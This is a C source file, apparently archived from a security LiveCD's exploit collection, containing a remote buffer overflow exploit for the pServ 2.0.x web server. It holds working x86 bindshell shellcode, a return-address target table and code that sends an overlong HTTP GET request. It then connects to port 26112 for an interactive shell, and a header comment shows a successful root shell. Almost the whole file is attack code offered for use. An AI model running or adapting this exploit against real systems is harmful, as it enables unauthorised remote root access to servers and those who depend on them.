home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / pserv / pserv.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  485 lines

  1. /*********************************************************************************\
  2. *pServ 2.0.x beta:webserver remote buffer overflow exploit by jsk
  3. *The aim of pServ (pico Server) is to create a portable, small webserver.
  4. *i want a sec webserver. so test some webserver.
  5. *meet http://www.securityfocus.com/bid/6286
  6. *Modified and exploit it..hehe...
  7. *ths #ph4nt0m irc.0x557.org all #cheese
  8. *[root@localhost tmp]# ./jsk -h 127.0.0.1 -p 2000 -t 0
  9.  
  10. *pServ 2.0.x:webserver remote buffer overflow exploit)
  11. *Greets and all #ph4nt0m .
  12. *bug found by  mattmurphy(at)kc.rr.com .
  13.  
  14. *[+] Hostname: 127.0.0.1
  15. *[+] Port num: 2000
  16. *[+] Retaddr address: 0xbfffd838
  17. *[1] #1 Set  codes.
  18. *[1] #1 Set socket.
  19. *[*] attempting to connect: 127.0.0.1:2000.
  20. *[*] successfully connected: 127.0.0.1:2000.
  21. *[1] #1 Send codes.
  22. *[1] #3 Get shell.
  23. *[*] checking to see if the exploit was successful.
  24. *[*] attempting to connect: 127.0.0.1:26112.
  25. *[*] successfully connected: 127.0.0.1:26112.
  26. *Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 
  27. *i686 i386 GNU/Linux
  28. *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
  29.  
  30. \*********************************************************************************/
  31.  
  32. #include <stdio.h>
  33.  
  34. #include <signal.h>
  35.  
  36. #include <unistd.h>
  37.  
  38. #include <sys/socket.h>
  39.  
  40. #include <netdb.h>
  41.  
  42. #include <netinet/in.h>
  43.  
  44. #define BUFSIZE 220
  45.  
  46. #define BUFSIZE2 166
  47.  
  48. #define BUFSIZE3 1024
  49.  
  50. #define D_PORT 5803
  51.  
  52. #define D_HOST "www.ph4nt0m.org"
  53.  
  54. #define TIMEOUT 10
  55.  
  56.  
  57.  
  58. char shell[]=  /* bindshell(26112)&, netric. */
  59.  
  60.         "\x90\x90\x90\x31\xdb\xf7\xe3\x53\x43\x53"
  61.         "\x6a\x02\x89\xe1\xb0\x66\x52"
  62.         "\x50\xcd\x80\x43\x66\x53\x89"
  63.         "\xe1\x6a\x10\x51\x50\x89\xe1"
  64.         "\x52\x50\xb0\x66\xcd\x80\x89"
  65.         "\xe1\xb3\x04\xb0\x66\xcd\x80"
  66.         "\x43\xb0\x66\xcd\x80\x89\xd9"
  67.         "\x93\xb0\x3f\xcd\x80\x49\x79"
  68.         "\xf9\x52\x68\x6e\x2f\x73\x68"
  69.         "\x68\x2f\x2f\x62\x69\x89\xe3"
  70.         "\x52\x53\x89\xe1\xb0\x0b\xcd"
  71.         "\x80";
  72. struct op_plat_st
  73.  
  74. {
  75.  
  76. int op_plat_num;
  77.  
  78. char *op_plat_sys;
  79.  
  80. u_long retaddr;
  81.  
  82. int off_st;
  83.  
  84. };
  85.  
  86. struct op_plat_st __pl_form[]=
  87.  
  88. {
  89.  
  90.  
  91.  
  92. {0,"red 8.0",0xbfffd838,0},
  93.  
  94. {1,"DEADOS",0x44434241,0},
  95.  
  96.  
  97. NULL
  98.  
  99. };
  100.  
  101. void banrl();
  102.  
  103. void x_fp_rm_usage(char *x_fp_rm);
  104.  
  105. unsigned short sock_connect(char *,unsigned short);
  106.  
  107. void getshell(char *,unsigned short);
  108.  
  109. void printe(char *,short);
  110.  
  111. void sig_alarm(){printe("alarm/timeout hit.",1);}
  112.  
  113. void banrl()
  114.  
  115. {
  116.  
  117. fprintf(stdout,"\n pServ 2.0.x:webserver remote buffer overflow 
  118. exploit)\n");
  119.  
  120. fprintf(stdout," Greets all #ph4nt0m .\n");
  121.  
  122. fprintf(stdout," bug found by  mattmurphy(at)kc.rr.com .\n");
  123.  
  124. }
  125.  
  126.  
  127.  
  128. void x_fp_rm_usage(char *x_fp_rm)
  129.  
  130. {
  131.  
  132. int __t_xmp=0;
  133.  
  134. fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);
  135.  
  136. fprintf(stdout,"\t -h [hostname] - target host.\n");
  137.  
  138. fprintf(stdout,"\t -p [port] - port number.\n");
  139.  
  140. fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");
  141.  
  142. fprintf(stdout," Example> %s -h target_hostname -p 8000 -t 
  143. num\n",x_fp_rm);
  144.  
  145. fprintf(stdout," Select target number>\n\n");
  146.  
  147. for(;;)
  148.  
  149. {
  150.  
  151. if(__pl_form[__t_xmp].op_plat_num==(0x82))
  152.  
  153. break;
  154.  
  155. else
  156.  
  157. {
  158.  
  159. fprintf(stdout,"\t {%d} 
  160. %s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);
  161.  
  162. }
  163.  
  164. __t_xmp++;
  165.  
  166. }
  167.  
  168. fprintf(stdout,"\n");
  169. exit(0);
  170. }
  171.  
  172.  
  173.  
  174. int main(int argc,char *argv[])
  175.  
  176. {
  177.  
  178. int port=D_PORT;
  179.  
  180. char hostname[0x333]=D_HOST;
  181.  
  182. int whlp,type=0;
  183.  
  184. unsigned int i=0;
  185.  
  186. char buf[BUFSIZE+1];
  187. char buf2[BUFSIZE2+1];
  188. char sendbuf[BUFSIZE3+1];
  189. int sd;
  190.  
  191. u_long retaddr=__pl_form[type].retaddr;
  192.  
  193.  
  194.  
  195. (void)banrl();
  196.  
  197. while((whlp=getopt(argc,argv,"T:t:H:h:P:p:IiXx"))!=EOF)
  198.  
  199. {
  200.  
  201. extern char *optarg;
  202.  
  203. switch(whlp)
  204.  
  205. {
  206.  
  207. case 'T':
  208.  
  209. case 't':
  210.  
  211. if((type=atoi(optarg))<6)
  212.  
  213. {
  214.  
  215. retaddr=__pl_form[type].retaddr;
  216.  
  217. }
  218.  
  219. else (void)x_fp_rm_usage(argv[0]);
  220.  
  221. break;
  222.  
  223.  
  224.  
  225.  
  226.  
  227. case 'H':
  228.  
  229. case 'h':
  230.  
  231. memset((char *)hostname,0,sizeof(hostname));
  232.  
  233. strncpy(hostname,optarg,sizeof(hostname)-1);
  234.  
  235. break;
  236.  
  237.  
  238.  
  239. case 'P':
  240.  
  241. case 'p':
  242.  
  243. port=atoi(optarg);
  244.  
  245. break;
  246.  
  247.  
  248.  
  249. case 'I':
  250.  
  251. case 'i':
  252.  
  253. fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);
  254.  
  255. exit(-1);
  256.  
  257.  
  258.  
  259. case '?':
  260.  
  261. (void)x_fp_rm_usage(argv[0]);
  262.  
  263. break;
  264.  
  265. }
  266.  
  267. }
  268.  
  269.  
  270.  
  271. if(!strcmp(hostname,D_HOST))
  272.  
  273. {
  274.  
  275. (void)x_fp_rm_usage(argv[0]);
  276.  
  277. }
  278.  
  279. {
  280.  
  281. fprintf(stdout," [+] Hostname: %s\n",hostname);
  282.  
  283. fprintf(stdout," [+] Port num: %d\n",port);
  284.  
  285. fprintf(stdout," [+] Retaddr address: %p\n",retaddr);
  286.  
  287. }
  288.  
  289.  
  290.  
  291. fprintf(stdout," [1] #1 Set  codes.\n");
  292.  
  293.  
  294.  
  295.  
  296.  memset(buf, 0x90, BUFSIZE);
  297.  
  298.  
  299.  memcpy(&buf[BUFSIZE-(sizeof(retaddr))], &retaddr, sizeof(retaddr));
  300.  
  301.  
  302.  memset(buf2,0x90,88);
  303.  
  304.  memcpy(buf2+88,shell, sizeof(shell));
  305.  
  306.  snprintf(sendbuf,1024,"GET %s /HTTP/1.0\r\nUser-Agent: 
  307. %s\r\n\r\n",buf,buf2);
  308.  
  309.  fprintf(stdout," [1] #1 Set socket.\n");
  310.  
  311.  sd=sock_connect(hostname,port);
  312.  
  313. fprintf(stdout," [1] #1 Send codes.\n");
  314.  
  315.  write(sd,sendbuf,BUFSIZE3);
  316.  
  317.  close(sd);
  318.  sleep(1);
  319. fprintf(stdout," [1] #3 Get shell.\n");
  320.  getshell(hostname,26112);
  321.  exit(0);
  322.  
  323. }
  324.  
  325. unsigned short sock_connect(char *hostname,
  326.  
  327. unsigned short port){
  328.  
  329.  int sock;
  330.  
  331.  struct hostent *t;
  332.  
  333.  struct sockaddr_in s;
  334.  
  335.  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  336.  
  337.  s.sin_family=AF_INET;
  338.  
  339.  s.sin_port=htons(port);
  340.  
  341.  printf("[*] attempting to connect: %s:%d.\n",hostname,port);
  342.  
  343.  if((s.sin_addr.s_addr=inet_addr(hostname))){
  344.  
  345.   if(!(t=gethostbyname(hostname)))
  346.  
  347.    printe("couldn't resolve hostname.",1);
  348.  
  349.   memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  350.  
  351.   sizeof(s.sin_addr));
  352.  
  353.  }
  354.  
  355.  signal(SIGALRM,sig_alarm);
  356.  
  357.  alarm(TIMEOUT);
  358.  
  359.  if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  360.  
  361.   printe("netris connection failed.",1);
  362.  
  363.  alarm(0);
  364.  
  365.  printf("[*] successfully connected: %s:%d.\n",hostname,port);
  366.  
  367.  return(sock);
  368.  
  369.  }
  370.  
  371. void getshell(char *hostname,unsigned short port){
  372.  
  373.  int sock,r;
  374.  
  375.  fd_set fds;
  376.  
  377.  char buf[4096+1];
  378.  
  379.  struct hostent *he;
  380.  
  381.  struct sockaddr_in sa;
  382.  
  383.  printf("[*] checking to see if the exploit was successful.\n");
  384.  
  385.  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  386.  
  387.   printe("getshell(): socket() failed.",1);
  388.  
  389.  sa.sin_family=AF_INET;
  390.  
  391.  if((sa.sin_addr.s_addr=inet_addr(hostname))){
  392.  
  393.   if(!(he=gethostbyname(hostname)))
  394.  
  395.    printe("getshell(): couldn't resolve.",1);
  396.  
  397.   memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  398.  
  399.   sizeof(sa.sin_addr));
  400.  
  401.  }
  402.  
  403.  sa.sin_port=htons(port);
  404.  
  405.  signal(SIGALRM,sig_alarm);
  406.  
  407.  alarm(TIMEOUT);
  408.  
  409.  printf("[*] attempting to connect: %s:%d.\n",hostname,port);
  410.  
  411.  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  412.  
  413.   printf("[!] connection failed: %s:%d.\n",hostname,port);
  414.  
  415.   return;
  416.  
  417.  }
  418.  
  419.  alarm(0);
  420.  
  421.  printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
  422.  
  423.  signal(SIGINT,SIG_IGN);
  424.  
  425.  write(sock,"uname -a;id\n",13);
  426.  
  427.  while(1){
  428.  
  429.   FD_ZERO(&fds);
  430.  
  431.   FD_SET(0,&fds);
  432.  
  433.   FD_SET(sock,&fds);
  434.  
  435.   if(select(sock+1,&fds,0,0,0)<1)
  436.  
  437.    printe("getshell(): select() failed.",1);
  438.  
  439.   if(FD_ISSET(0,&fds)){
  440.  
  441.    if((r=read(0,buf,4096))<1)
  442.  
  443.     printe("getshell(): read() failed.",1);
  444.  
  445.    if(write(sock,buf,r)!=r)
  446.  
  447.     printe("getshell(): write() failed.",1);
  448.  
  449.   }
  450.  
  451.   if(FD_ISSET(sock,&fds)){
  452.  
  453.    if((r=read(sock,buf,4096))<1)
  454.  
  455.     exit(0);
  456.  
  457.    write(1,buf,r);
  458.  
  459.   }
  460.  
  461.  }
  462.  
  463.  close(sock);
  464.  
  465.  return;
  466.  
  467. }
  468.  
  469. void printe(char *err,short e){
  470.  
  471.  fprintf(stdout," [-] Failed.\n\n");
  472.  
  473.  fprintf(stdout," Happy Exploit ! :-)\n\n");
  474.  
  475.  
  476.  
  477.  if(e)
  478.  
  479.   exit(1);
  480.  
  481.  return;
  482.  
  483. }
  484.  
  485.